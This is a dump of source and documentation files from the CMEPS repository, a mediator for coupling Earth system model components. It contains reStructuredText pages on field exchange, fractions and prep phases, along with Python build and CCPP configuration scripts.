"src_encoding": "UTF-8", "text": ".. on documentation main file, created by\n sphinx-quickstart on Mon May 18 11:50:23 2020.\n You can adapt this file completely to your liking, but it should at least\n contain the root `toctree` directive.\n\nCMEPS documentation\n===================\nThe Community Mediator for Earth Prediction Systems (CMEPS) is a\nNUOPC-compliant Mediator component used for coupling Earth system\nmodel components. It is currently being used in NCAR's Community\nEarth System Model (CESM) and NOAA's subseasonal-to-seasonal\ncoupled system.\n\nTable of contents\n-----------------\n.. toctree::\n :maxdepth: 2\n :numbered:\n\n introduction.rst\n esmflds.rst\n fractions.rst\n prep.rst\n generic.rst\n addendum/index.rst\n" }, { "alpha_fraction": 0.7141361236572266, "alphanum_fraction": 0.7196335196495056, "avg_line_length": 43.94117736816406, "blob_id": "27502e5c27862dbb9739d4be5f09c1c6afdeb3c0", "content_id": "07595cb4567fcde759a3d76f8766191b7f98e7e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 3820, "license_type": "no_license", "max_line_length": 120, "num_lines": 85, "path": "/doc/source/prep.rst", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": ".. _prep_modules:\n\n======================\n CMEPS `prep` modules\n======================\n\nThe following modules comprise the \"prep phase\" CMEPS code:\n\n**med_phases_prep_atm_mod.F90**: prepares the mediator export state to the atmosphere component \n\n**med_phases_prep_ice_mod.F90**: prepares the mediator export state to the sea-ice component \n \n**med_phases_prep_glc_mod.F90**: prepares the mediator export state to the land-ice component \n \n**med_phases_prep_lnd_mod.F90**: prepares the mediator export state to the land component\n \n**med_phases_prep_ocn_mod.F90**: prepares the mediator export state to the ocean component\n\n**med_phases_prep_rof_mod.F90**: prepares the mediator export state to the river component\n \n**med_phases_prep_wav_mod.F90**: prepares the mediator export state to the wave component\n \n\nEach prep phase module has several sections:\n\n1. Mapping each source field that needs to be mapped to the destination mesh.\n This is obtained from the ``addmap`` calls in the application specific ``esmFldsExchange_xxxx_mod.F90``.\n Each `prep` module will call the generic routine ``med_map_FB_Regrid_Norm`` to do this mapping.\n\n2. Merging the set of source fields that have been mapped to the destination mesh.\n This is obtained from the ``addmrg`` calls in the application specific ``esmFldsExchange_xxxx_mod.F90``.\n\n3. Carrying out optional custom calculations that cannot be specified\n via ``addmap`` or ``addmrg`` calls. Custom calculations are the\n only part of the CMEPS prep phases that can be can be application\n specific. The attribute ``coupling_mode`` is utilized to by the\n prep phases to determine if a particular customization is targeted\n for only one application. Currently prep phase customization\n encompasses the following:\n\n * ``med_phases_prep_atm``:\n\n * Calculation of ocean albedos and atmosphere/ocean fluxes (for CESM).\n * Calculation of land, ice and ocean fractions to send to the atmosphere if those components are present.\n * ``med_phases_prep_ice``:\n\n * Update the scalar data for the time of the next short wave calculation carried out by the atmosphere, used by the\n ice component to determine the zenith angle (for CESM)\n * applicate of precipitation factor received from the ocean component (for CESM)\n\n * ``med_phases_prep_glc``:\n\n * the land-ice component prep phase `ONLY` uses custom code. Land\n import fields that are destined for the land-ice component are\n in elevation classes, whereas the land-ice components requires\n import data that is not in elevation classes. In addition, the\n land-ice component couples at a much longer time scale than the\n land component. The custom code in this module carries out the\n mapping and merged to take data from the land component,\n accumulate it and map the data both in resolution and in the\n compression of elevation class input to non-elevation class\n output. (for CESM)\n\n * ``med_phases_prep_lnd``:\n\n * carry out land-ice to land mapping if land-ice is present (for CESM)\n * update the scalar data for the time of the next short\n wave calculation caried out by the atmosphere (this is needed to the\n land component to determine the zenith angle) (for CESM)\n\n * ``med_phases_prep_ocn``:\n\n * computation of net shortwave that is sent to the ocean.\n * apply precipitation fractor to scale rain and snow sent to ocean (for CESM)\n * carry out custom merges for NEMS coupling modes (for NEMS)\n\n * ``med_phases_prep_rof``:\n\n * reset the irrigation flux to the river model by pulling in\n irrigation out of the rof cells that are proportial to the\n river volume in each cell (for CESM).\n\n * ``med_phases_prep_wav``:\n\n * currently there are no custom calculations.\n" }, { "alpha_fraction": 0.5112918019294739, "alphanum_fraction": 0.5167118310928345, "avg_line_length": 34.14285659790039, "blob_id": "8acb401911119319345dbcb7fbb47bdd07500204", "content_id": "12edace1fb51f42e25f51af183be9aa21593c060", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2214, "license_type": "no_license", "max_line_length": 95, "num_lines": 63, "path": "/cime_config/runseq/gen_runseq.py", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nclass RunSeq:\n def __init__(self, outfile):\n self.__time_loop = list()\n self.__outfile_name = outfile\n self.__outfile = None\n\n def __enter__(self):\n self.__outfile = open(self.__outfile_name, \"w\", encoding=\"utf-8\")\n self.__outfile.write(\"runSeq:: \\n\")\n return self\n\n def __exit__(self, *_):\n self.__exit_sequence()\n self.__outfile.close()\n return False\n\n @property\n def time_loop(self):\n if self.__time_loop:\n return self.__time_loop[-1][0] # this is the first element of the last tuple\n else:\n return 0\n\n @property\n def active_depth(self):\n if self.__time_loop:\n return self.__time_loop[-1][1]\n else:\n return -1\n\n def enter_time_loop(self, coupling_time, active=True, newtime=True, addextra_atsign=False):\n if newtime:\n if addextra_atsign:\n self.__outfile.write (\"@@\" + str(coupling_time) + \" \\n\" )\n else:\n self.__outfile.write (\"@\" + str(coupling_time) + \" \\n\" )\n if active:\n self.__time_loop.append((self.time_loop+1, self.active_depth+1))\n else:\n self.__time_loop.append((self.time_loop+1, self.active_depth))\n\n def add_action(self, action, if_add):\n if if_add:\n self.__outfile.write (\" {}\\n\".format(action))\n\n def leave_time_loop(self, leave_time, if_write_hist_rest=False, addextra_atsign=False ):\n if leave_time and self.__time_loop:\n _, active_depth = self.__time_loop.pop()\n if if_write_hist_rest or active_depth == 0:\n self.__outfile.write (\" MED med_phases_history_write \\n\" )\n self.__outfile.write (\" MED med_phases_restart_write \\n\" )\n self.__outfile.write (\" MED med_phases_profile \\n\" )\n if addextra_atsign: \n self.__outfile.write (\"@@ \\n\" )\n else:\n self.__outfile.write (\"@ \\n\" )\n\n def __exit_sequence(self):\n while self.__time_loop:\n self.leave_time_loop(True)\n self.__outfile.write (\"::\\n\" )\n" }, { "alpha_fraction": 0.6685490608215332, "alphanum_fraction": 0.6768027544021606, "avg_line_length": 38.350425720214844, "blob_id": "321e9ad8fad08113532852d36e835d3dfeb58253", "content_id": "77d712e80176ea4cf3e4f098d3bae55c24cc71ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 4604, "license_type": "no_license", "max_line_length": 135, "num_lines": 117, "path": "/doc/source/fractions.rst", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": ".. _fractions:\n\n==========================\n CMEPS `fractions` module\n==========================\n\nThe component fractions on their corresponding meshes are defined and\nupdated in ``med_fractions_mod.F90.`` \n\nCMEPS component fractions are defined as follows:\n\n* An array of field bundles, ``Frac(:)`` is created, where the size of\n ``Frac`` corresponds to the number of active components.\n\n* For each active component, a fraction field bundle is created, ``Frac(comp_index)``, where the fields in the field bundle are unique.\n Below, ``Frac(comp_index)[fieldname]`` refers to the field in the ``Frac(comp_index)`` field bundle that has the name ``fieldname``.\n\n.. note:: comp_index can be any of [compatm, compice, compglc, complnd, compocn, comprof, compwav].\n\n* The following are the field names for each component of FBFrac::\n\n Frac(compatm) = afrac,ifrac,ofrac,lfrac,lfrin\n Frac(compocn) = afrac,ifrac,ofrac,ifrad,ofrad\n Frac(compice) = afrac,ifrac,ofrac\n Frac(complnd) = afrac,lfrac,lfrin\n Frac(compglc) = gfrac,lfrac\n Frac(comprof) = lfrac,rfrac\n Frac(compwav) = wfrac\n\nwhere::\n\n afrac = fraction of atm on a grid\n lfrac = fraction of lnd on a grid\n ifrac = fraction of ice on a grid\n ofrac = fraction of ocn on a grid\n lfrin = land fraction defined by the land model\n rfrac = fraction of rof on a grid\n wfrac = fraction of wav on a grid\n ifrad = fraction of ocn on a grid at last radiation time\n ofrad = fraction of ice on a grid at last radiation time\n\n As an example, ``Frac(compatm)[lfrac]`` is the land fraction on\n the atmosphere mesh.\n\n* ``lfrin`` and ``lfrac`` can be different from ``lfrac`` when the\n atmosphere and land meshes are different. ``lfrac`` is the land\n fraction consistent with the ocean mask where ``lfrin`` is the land\n fraction in the land component.\n\n* ``ifrad`` and ``ofrad`` are fractions at the last radiation\n timestep. These fractions preserve conservation of heat in the net\n shortwave calculation because the net shortwave calculation is one\n timestep behind the ice fraction evolution in the system.\n\nThe following assumptions are made regarding fractions:\n\n* The ocean and ice are on the same meshes with same masks\n* The ice fraction can evolve in time\n* The land fraction does not evolve in time\n* the ocean fraction is just the complement of the ice fraction over the region\n of the ocean/ice mask.\n* The component fractions are always the relative fraction covered.\n For example, if an ice cell can be up to 50% covered in\n ice and 50% land, then the ice domain should have a fraction\n value of 0.5 at that grid cell. At run time though, the ice\n fraction will be between 0.0 and 1.0 meaning that grid cells\n is covered with between 0.0 and 0.5 by ice. The \"relative\" fractions\n sent at run-time are corrected by the model to be total fractions\n such that in general, on every mesh cell:\n\n * ``Frac(:)[afrac]`` = 1.0\n * ``Frac(:)[ifrac]`` + ``Frac(:)[ofrac]`` + ``Frac(:)[lfrac]`` = 1.0\n\nInitialization of the fractions occurs as follows (note that all mapping is first order conservative):\n\n* ``Frac(compatm)[afrac]`` = 1.0\n\n* ``Frac(compocn)[afrac]`` = map atm -> ocn ``Frac(compatm)[afrac]``\n\n* ``Frac(compice)[afrac]`` = map atm -> ice ``Frac(compatm)[afrac]``\n\n* ``Frac(complnd)[afrac]`` = map atm -> lnd ``Frac(compatm)[afrac]``\n\n* ``FBfrac(:)[ifrac]`` = 0.0\n\n* ``Frac(compocn)[ofrac]`` = ocean mask provided by ocean\n\n* ``Frac(complnd)[lfrin]`` = land fraction provided by land\n\n* ``Frac(compatm)[ofrac]`` = map ocn -> atm ``Frac(compocn)[ofrac]``\n\n* ``Frac(compatm)[lfrin]`` = map lnd -> atm ``Frac(complnd)[lfrin]``\n\n* ``Frac(compatm)[lfrac]`` = 1.0 - ``Frac(compatm)[ofrac]``\n (this is truncated to zero for very small values (< 0.001) to attempt to preserve non-land gridcells.)\n\n* ``Frac(complnd)[lfrac]`` = map atm -> lnd ``Frac(compatm)[lfrac]``\n\n* ``Frac(comprof)[lfrac]`` = map lnd -> rof ``Frac(complnd)[lfrac]``\n\n* ``Frac(compglc)[lfrac]`` = map lnd -> glc ``Frac(complnd)[lfrac]``\n\nRun time calculation of fractions is as follows:\n\n* ``Frac(compice)[ofrac]`` = 1.0 - ``Frac(compice)[ifrac]``\n (Note: the relative fractions are corrected to total fractions)\n\n* ``Frac(compocn)[ifrac]`` = map ice -> ocn ``Frac(compice)[ifrac]``\n\n* ``Frac(compocn)[ofrac]`` = map ice -> ocn ``Frac(compice)[ofrac]``\n\n* ``Frac(compatm)[ifrac]`` = map ice -> atm ``Frac(compice)[ifrac]``\n\n* ``Frac(compatm)[ofrac]`` = map ice -> atm ``Frac(compice)[ofrac]``\n\n* ``Frac(compatm)[lfrac]`` + ``Frac(compatm)[ofrac]`` + ``Frac(compatm)[ifrac]`` ~ 1.0\n (0.0-eps < Frac(:)[*] < 1.0+eps)\n" }, { "alpha_fraction": 0.5733827948570251, "alphanum_fraction": 0.5750057697296143, "avg_line_length": 33.50400161743164, "blob_id": "4f056df6084548e8cd84b89e78897ba1e30ff982", "content_id": "1d7366718fa88d7855b802944b8ee45d35638fb8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4313, "license_type": "no_license", "max_line_length": 96, "num_lines": 125, "path": "/cime_config/buildexe", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\n\"\"\"\nbuild model executable\n\"\"\"\n\nimport sys, os\n\n_CIMEROOT = os.environ.get(\"CIMEROOT\")\nif _CIMEROOT is None:\n raise SystemExit(\"ERROR: must set CIMEROOT environment variable\")\n\nsys.path.append(os.path.join(_CIMEROOT, \"scripts\", \"Tools\"))\n\nfrom standard_script_setup import *\nfrom CIME.buildlib import parse_input\nfrom CIME.build import get_standard_makefile_args\nfrom CIME.case import Case\nfrom CIME.utils import expect, run_cmd\n\n#pylint: disable=undefined-variable\nlogger = logging.getLogger(__name__)\n\n###############################################################################\ndef _main_func():\n###############################################################################\n\n caseroot, _, _ = parse_input(sys.argv)\n\n logger.info(\"Building a single executable version of target coupled model\")\n\n with Case(caseroot) as case:\n casetools = case.get_value(\"CASETOOLS\")\n exeroot = case.get_value(\"EXEROOT\")\n gmake = case.get_value(\"GMAKE\")\n gmake_j = case.get_value(\"GMAKE_J\")\n cime_model = case.get_value(\"MODEL\")\n num_esp = case.get_value(\"NUM_COMP_INST_ESP\")\n ocn_model = case.get_value(\"COMP_OCN\")\n gmake_args = get_standard_makefile_args(case)\n link_libs = case.get_value(\"CAM_LINKED_LIBS\", subgroup=\"build_component_cam\")\n esmf_aware_threading = case.get_value(\"ESMF_AWARE_THREADING\")\n\n # Determine valid components\n valid_comps = []\n comp_classes = case.get_values(\"COMP_CLASSES\")\n for item in comp_classes:\n comp = case.get_value(\"COMP_\" + item)\n valid = True\n if comp == 's' + item.lower():\n valid = False\n if valid:\n valid_comps.append(item)\n\n datamodel_in_compset = False\n for comp in comp_classes:\n dcompname = \"d\"+comp.lower()\n if dcompname in case.get_value(\"COMP_{}\".format(comp)):\n datamodel_in_compset = True\n\n if len(valid_comps) == 2 and not datamodel_in_compset:\n skip_mediator = True\n else:\n skip_mediator = False\n\n if ocn_model == 'mom':\n gmake_args += \"USE_FMS=TRUE\"\n\n if link_libs is not None:\n gmake_args += 'USER_SLIBS=\"{}\"'.format(link_libs)\n\n comp_classes = case.get_values(\"COMP_CLASSES\")\n for comp in comp_classes:\n model = case.get_value(\"COMP_{}\".format(comp))\n stubcomp = \"s{}\".format(comp.lower())\n if model == stubcomp:\n gmake_args += \" {}_PRESENT=FALSE\".format(comp)\n if skip_mediator:\n gmake_args += \" MED_PRESENT=FALSE\"\n if esmf_aware_threading:\n gmake_args += \" USER_CPPDEFS=-DESMF_AWARE_THREADING\"\n\n gmake_args += \" IAC_PRESENT=FALSE\"\n expect((num_esp is None) or (int(num_esp) == 1), \"ESP component restricted to one instance\")\n\n bld_root = os.path.join(exeroot,'cpl','obj')\n if not os.path.isdir(bld_root):\n os.makedirs(bld_root)\n\n with open(os.path.join(bld_root,'Filepath'), 'w', encoding=\"utf-8\") as out:\n cmeps_dir = os.path.join(os.path.dirname(__file__), os.pardir)\n # SourceMods dir needs to be first listed\n out.write(os.path.join(caseroot, \"SourceMods\", \"src.drv\") + \"\\n\")\n if not skip_mediator:\n out.write(os.path.join(cmeps_dir, \"mediator\") + \"\\n\")\n out.write(os.path.join(cmeps_dir, \"cesm\", \"flux_atmocn\") + \"\\n\")\n out.write(os.path.join(cmeps_dir, \"cesm\", \"driver\") + \"\\n\")\n\n # build model executable\n makefile = os.path.join(casetools, \"Makefile\")\n exename = os.path.join(exeroot, cime_model + \".exe\")\n\n # always rebuild file esm.F90 this is because cpp macros in that file may have changed\n esm = os.path.join(bld_root,\"esm.o\")\n if os.path.isfile(esm):\n os.remove(esm)\n\n # always relink\n if os.path.isfile(exename):\n os.remove(exename)\n\n cmd = \"{} exec_se -j {} EXEC_SE={} COMP_NAME=driver {} -f {} \"\\\n .format(gmake, gmake_j, exename, gmake_args, makefile)\n\n\n rc, out, err = run_cmd(cmd,from_dir=bld_root)\n expect(rc==0,\"Command {} failed rc={}\\nout={}\\nerr={}\".format(cmd,rc,out,err))\n if err:\n logger.info(err)\n logger.info(out)\n\n###############################################################################\n\nif __name__ == \"__main__\":\n _main_func()\n" }, { "alpha_fraction": 0.7259660363197327, "alphanum_fraction": 0.7304461598396301, "avg_line_length": 42.37651824951172, "blob_id": "e78ea9535da5981e24e822b3f01cc4e11cd7fd89", "content_id": "960789491488912ec8432d146e63436087a6f57a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 10714, "license_type": "no_license", "max_line_length": 355, "num_lines": 247, "path": "/doc/source/esmflds.rst", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": ".. _api-for-esmflds:\n\n================================\n CMEPS application specific code\n================================\n\nFor each supported application, CMEPS contains two specific files that determine:\n\n* the allowed field names in the mediator and aliases for those names that the components might have\n* the fields that are exchanged between components\n* how source fields are mapped to destination fields\n* how source fields are merged after mapping to destination fields\n\nThree application specific versions are currently contained within CMEPS:\n\n* for CESM: **esmFldsExchange_cesm_mod.F90** and **fd_cesm.yaml**\n* for UFS-S2S: **esmFldsExchange_nems_mod.F90** and **fd_nems.yaml**\n* for UFS-HAFS: **esmFldsExchange_hafs_mod.F90** and **fd_hafs.yaml**\n\nCMEPS advertises **all possible fields** that can be imported to and\nexported by the mediator for the target coupled system. Not all of\nthese fields will be connected to the various components. The\nconnections will be determined by what the components advertise in\ntheir respective advertise phase.\n\nAcross applications, component-specific names for the same fields may vary. The field \ndictionary is used to define how the application or component-specific name relates\nto the name that the CMEPS mediator uses for that field. The mediator variable \nnames and their application specific aliases are found in the YAML field dictionary. \n\nDetails of the naming conventions and API's of this file can be found\nin the description of the :ref:`exchange of fields in\nCMEPS<api-for-esmflds>`.\n\nField Naming Convention\n-----------------------\n\nThe CMEPS field name convention in the YAML files is independent of the model components.\nThe convention differentiates between variables that are state fields versus flux fields.\nThe naming convention assumes the following one letter designation for the various components as\nwell as the mediator. \n\n**import to mediator**::\n\n a => atmosphere\n i => sea-ice\n l => land\n g => land-ice\n o => ocean\n r => river\n w => wave\n\n**export from mediator (after mapping and merging)**::\n\n x => mediator\n\n**State Variables**:\n\n State variables have a 3 character prefix followed by the state\n name. The prefix has the form ``S[a,i,l,g,o,r,w,x]_`` and is followed by\n the field name. \n \n As an example, ``Sx_t`` is the merged surface\n temperature from land, ice and ocean sent to the atmosphere for CESM.\n\n**Flux variables**:\n\n Flux variables specify both source and destination components and have a \n 5 character prefix followed by an identifier name of the flux. The first 5 \n characters of the flux prefix ``Flmn_`` indicate a flux between \n components l and m, computed by component n. The flux-prefix is followed \n by the relevant flux-name. \n \n **mediator import flux prefixes**::\n \n Faxa_, atm flux computed by atm\n Fall_, lnd-atm flux computed by lnd\n Fioi_, ice-ocn flux computed by ice\n Faii_, ice_atm flux computed by ice\n Flrr_, lnd-rof flux computed by rof\n Firr_, rof-ice flux computed by rof\n\t\n **mediator export flux prefixes**::\n \n Faxx_, mediator merged fluxes sent to the atm\n Foxx_, mediator merged fluxes sent to the ocn\n Fixx_, mediator merged fluxes sent to the ice\n\nExchange of fields\n------------------\n\nThe application specific module, ``esmFldsExchange_xxx.F90`` contains\nall of the information to determine how the mediator performs the\nexchange of fields between components. In particular, this module uses the subroutines\n``addfld``, ``addmap`` and ``addmrg`` to do the following:\n\n* ``addfld`` advertises all possible fields that the mediator can send\n to and receive from each component that is part of the target\n application\n\n* ``addmap`` determines how each source field is mapped from its\n source mesh to a target destinations mesh. Note that a given source\n field may be mapped to more than one destination meshes and so there\n can be more than one call to ``addmap`` for that source field.\n\n* ``addmrg`` determines how a collection of mapped source fields\n is merged to the target destination field.\n\n.. note:: In all these functions, specific components are accessed using a comp_index, where comp_index can be any of [compatm, compice, compglc, complnd, compocn, comprof, compwav].\n\nThis section describes the API for the calls that determine the above\ninformation. All of the API's discussed below use the code in the\ngeneric module ``esmFlds.F90``.\n\n.. _addfld:\n\n`addfld`\n~~~~~~~~~~\nCMEPS advertises all possible fields that it can receive from a component or send to any component via a call to ``addfld``.\nThe API for this call is:\n\n.. code-block:: Fortran\n\n call addfld(fldListFr(comp_index)%flds, 'field_name')\n call addfld(fldListTo(comp_index)%flds, 'field_name') \n\nwhere:\n\n* ``comp_index`` is the component index\n\n* ``'field_name'`` is the field name that will be advertised\n\n.. _addmap:\n\n`addmap`\n~~~~~~~~~~\nCMEPS determines how to map each source field from its source mesh to a target destination mesh via a call to ``addmap``.\nThe API for this call is:\n\n.. code-block:: Fortran\n\n call addmap(FldListFr(comp_index_src)%flds, 'field_name', comp_index_dst, maptype, mapnorm, mapfile)\n\nwhere\n\n* ``comp_index_src`` is the source component index\n\n* ``comp_index_dst`` is the destination component index\n\n* **maptype** determines the mapping type and can have values of:\n\n * ``mapbilnr``: bilinear mapping\n\n * ``mapconsf``: first order conservative mapping with normalization type of conservative fraction.\n\n * ``mapconsd``: first order conservative mapping with normalization type of conservative fraction.\n\n * ``mappatch``: patch mapping\n\n * ``mapfcopy``: redist mapping\n\n * ``mapnstod``: nearest source to destination mapping\n\n * ``mapnstod_consd``: nearest source to destination followed by conservative destination\n\n * ``mapnstod_consf``: nearest source to destination followed by conservative fraction\n\n.. _normalization:\n\n* **mapnorm** determines the mapping normalization and can have values of:\n\n * ``unset`` : no normalization is set, should only be used if maptype is 'mapfcopy'\n\n * ``none`` : no normalization is done, should only be used if maptype is not 'mapfcopy'\n\n * ``one`` : normalize by 1. (see description below for normalization)\n\n * ``lfrin`` : normalize by the ``lfrin`` field in FBFrac(complnd). Used to map lnd->atm (see description of :ref:`fractions<fractions>`).\n\n * ``ifrac`` : normalize by the 'ifrac' field in FBFrac(compice). Used to map ice->atm (see description of :ref:`fractions<fractions>`).\n\n * ``ofrac`` : normalize by the 'ofrac' field in FBFrac(compocn). Used to map ice->atm (see description of :ref:`fractions<fractions>`).\n\n * ``custom`` : custom mapping and normalization will be done in the prep phase for the corresponding field (used to map glc->lnd).\n\n .. note:: When **mapnorm** is used, the field will first be scaled by the relevant ``FBfrac`` before mapping and then unscaled by the same ``FBfrac`` after mapping. For example, when ``ifrac`` is the normalization, the field will be scaled by ``FBfrac(compice)[ifrac]`` before mapping and unscaled by the mapped ``FBFrac(compice)[ifrac]`` after mapping.\n\n* **mapfile** determines if a mapping file will be read in or the route handle will be generated at run time:\n\n * ``unset`` : online route handles will be generated\n\n * ``mapfile``: read in corresponding full pathname. The ``<filename>`` is obtained as an attribute from the driver\n\n**Normalization** :\nFractional normalization is needed to improve the accuracy field exchanges between ice and ocean and atmosphere. Consider the case where one cell has an ice\nfraction of 0.3 and the other has a fraction of 0.5. Mapping the ice fraction to the atmospheric cell results in a value of 0.4. If the same temperatures are\nmapped in the same way, a temperature of -1.5 results which is reasonable, but not entirely accurate. Because of the relative ice fractions, the weight of the\nsecond cell should be greater than the weight of the first cell. Taking this into account properly results in a fraction weighted ice temperature of -1.625 in\nthis example. This is the fraction correction that is carried out whenever ocean and ice fields are mapped to the atmosphere grid. Note that time varying\nfraction corrections are not required in other mappings to improve accuracy because their relative fractions remain static.\n\n**Example** :\n\n.. code-block:: Fortran\n\n call addmap(fldListFr(compice)%flds, 'Si_snowh', compatm, mapconsf, 'ifrac', 'unset')\n\nThis will create an entry in ``fldListFr(compatm)`` specifying that the ``Si_snowh`` field from the ice should be mapped conservatively to the atmosphere using\nfractional normalization where the ice fraction is obtained from ``FBFrac(compice)[snowh]``. The route handle for this mapping will be created at run time. \n\n.. _addmrg:\n\n`addmrg`\n~~~~~~~~~~\nCMEPS determines how to map a set of one or more mapped source fields to create the target destination field in the export state.\nThe API for this call is:\n\n.. code-block:: Fortran\n\n call addmrg(fldListTo(comp_index_dst)%flds, dst_fieldname, &\n mrg_from1, mrg_fld1, mrg_type1, mrg_fracname1, &\n mrg_from2, mrg_fld2, mrg_type2, mrg_fracname2, &\n mrg_from3, mrg_fld3, mrg_type3, mrg_fracname3, &\n mrg_from4, mrg_fld4, mrg_type4, mrg_fracname4)\n\nwhere\n\n* ``mrg_fromN``, ``mrgfldN``, ``mrgtypeN`` and ``mrg_fracnameN``, where ``N=[1,2,3,4]``, are optional arguments.\n ``mrgfrom1`` is corresponds to the first source component index (e.g. ``compatm``).\n\n* **mrg_fromN**: is an integer corresponding to the source component index\n\n* **mrg_fldN** : is a character string corresponding to the field name in the mapped field bundle of the source component with index ``mrg_fromN``\n\n* **mrg_typeN**: the type of merging that will be carried out for component with index ``mrg_fromN``. The allowed values are:\n\n * ``copy``: simply copy the source mapped field into the destination field bundle\n\n * ``copy_with_weights``: weight the mapped source field by its fraction on the destination mesh.\n\n * ``sum_with_weights``: do a cumulative sum of all the mapped source fields where each field is weighed by by its fraction on the destination mesh.\n\n * ``sum_with_weights``: do a cumulative sum of all the mapped source fields.\n\nFor ``copy_with_weights`` and ``sum_with_weights``, the mapped source field is weighted by ``mrg_fracnameN`` in ``FBFrac(comp_index_dst)``. If\ncopy_with_weights is chose as the ``mrg_typeN`` value then ``mrg_fracnameN`` is also required as an argument. If sum_with_weights is chose as the ``mrg_typeN``\nvalue then ``mrg_fracnameN`` is also required as an argument.\n" }, { "alpha_fraction": 0.583010733127594, "alphanum_fraction": 0.5891596674919128, "avg_line_length": 40.037384033203125, "blob_id": "333acd6bccf6a0e58f4532b3a82b4da81309cdc2", "content_id": "d2872972eab31c773ef543d597d9916c381bd250", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4391, "license_type": "no_license", "max_line_length": 90, "num_lines": 107, "path": "/ufs/ccpp/config/ccpp_prebuild_config.py", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n###############################################################################\n# Used modules #\n###############################################################################\n\nimport os\n\n###############################################################################\n# Query required information/s #\n###############################################################################\n\nfv3_path = os.environ['FV3_PATH']\n\n###############################################################################\n# Definitions #\n###############################################################################\n\nHOST_MODEL_IDENTIFIER = \"CMEPS\"\n\n# Add all files with metadata tables on the host model side and in CCPP,\n# relative to basedir = top-level directory of host model. This includes\n# kind and type definitions used in CCPP physics. Also add any internal\n# dependencies of these files to the list.\nVARIABLE_DEFINITION_FILES = [\n # actual variable definition files\n '{}/ccpp/framework/src/ccpp_types.F90'.format(fv3_path),\n '{}/ccpp/physics/physics/machine.F'.format(fv3_path),\n 'CMEPS/ufs/ccpp/data/MED_typedefs.F90',\n 'CMEPS/ufs/ccpp/data/MED_data.F90'\n ]\n\nTYPEDEFS_NEW_METADATA = {\n 'ccpp_types' : {\n 'ccpp_t' : 'cdata',\n 'ccpp_types' : '',\n },\n 'machine' : {\n 'machine' : '',\n },\n 'MED_typedefs' : {\n 'MED_init_type' : 'physics%init',\n 'MED_statein_type' : 'physics%Statein',\n 'MED_stateout_type' : 'physics%Stateout',\n 'MED_interstitial_type' : 'physics%Interstitial',\n 'MED_control_type' : 'physics%Model',\n 'MED_coupling_type' : 'physics%Coupling',\n 'MED_grid_type' : 'physics%Grid',\n 'MED_sfcprop_type' : 'physics%Sfcprop',\n 'MED_diag_type' : 'physics%Diag',\n 'MED_typedefs' : '',\n },\n 'MED_data' : {\n 'MED_data' : '',\n 'physics_type' : 'physics',\n }\n }\n\n# Add all physics scheme files relative to basedir\nSCHEME_FILES = [\n '{}/ccpp/physics/physics/sfc_ocean.F'.format(fv3_path),\n '{}/ccpp/physics/physics/sfc_diff.f'.format(fv3_path),\n '{}/ccpp/physics/physics/GFS_surface_loop_control_part1.F90'.format(fv3_path),\n '{}/ccpp/physics/physics/GFS_surface_loop_control_part2.F90'.format(fv3_path),\n '{}/ccpp/physics/physics/GFS_surface_composites_pre.F90'.format(fv3_path),\n '{}/ccpp/physics/physics/GFS_surface_composites_post.F90'.format(fv3_path),\n '{}/ccpp/physics/physics/sfc_diag.f'.format(fv3_path)\n ]\n\n# Default build dir, relative to current working directory,\n# if not specified as command-line argument\nDEFAULT_BUILD_DIR = 'CMEPS'\n\n# Auto-generated makefile/cmakefile snippets that contain all type definitions\nTYPEDEFS_MAKEFILE = '{build_dir}/physics/CCPP_TYPEDEFS.mk'\nTYPEDEFS_CMAKEFILE = '{build_dir}/physics/CCPP_TYPEDEFS.cmake'\nTYPEDEFS_SOURCEFILE = '{build_dir}/physics/CCPP_TYPEDEFS.sh'\n\n# Auto-generated makefile/cmakefile snippets that contain all schemes\nSCHEMES_MAKEFILE = '{build_dir}/physics/CCPP_SCHEMES.mk'\nSCHEMES_CMAKEFILE = '{build_dir}/physics/CCPP_SCHEMES.cmake'\nSCHEMES_SOURCEFILE = '{build_dir}/physics/CCPP_SCHEMES.sh'\n\n# Auto-generated makefile/cmakefile snippets that contain all caps\nCAPS_MAKEFILE = '{build_dir}/physics/CCPP_CAPS.mk'\nCAPS_CMAKEFILE = '{build_dir}/physics/CCPP_CAPS.cmake'\nCAPS_SOURCEFILE = '{build_dir}/physics/CCPP_CAPS.sh'\n\n# Directory where to put all auto-generated physics caps\nCAPS_DIR = '{build_dir}/physics'\n\n# Directory where the suite definition files are stored\nSUITES_DIR = 'CMEPS/ufs/ccpp/suites'\n\n# Directory where to write static API to\nSTATIC_API_DIR = '{build_dir}/physics'\nSTATIC_API_CMAKEFILE = '{build_dir}/physics/CCPP_STATIC_API.cmake'\nSTATIC_API_SOURCEFILE = '{build_dir}/physics/CCPP_STATIC_API.sh'\n\n# Directory for writing HTML pages generated from metadata files\nMETADATA_HTML_OUTPUT_DIR = '{build_dir}/physics/physics/docs'\n\n# HTML document containing the model-defined CCPP variables\nHTML_VARTABLE_FILE = '{build_dir}/physics/CCPP_VARIABLES_CMEPS.html'\n\n# LaTeX document containing the provided vs requested CCPP variables\nLATEX_VARTABLE_FILE = '{build_dir}/framework/doc/DevelopersGuide/CCPP_VARIABLES_CMEPS.tex'\n" } ]
22
d4r5hE/youtube-video-downloader
https://github.com/d4r5hE/youtube-video-downloader
71ed0e7aca850500ccb5ccab97ac2b91521ed255
5e6a226f492e745ba3deff7626dcc99a4c257163
cf57e2da677fda35d8170a1186637bdbb83be5dc
refs/heads/main
2023-07-31T15:15:01.538742
2021-09-27T01:35:03
2021-09-27T01:35:03
410,703,457
0
0
null
null
null
null
null
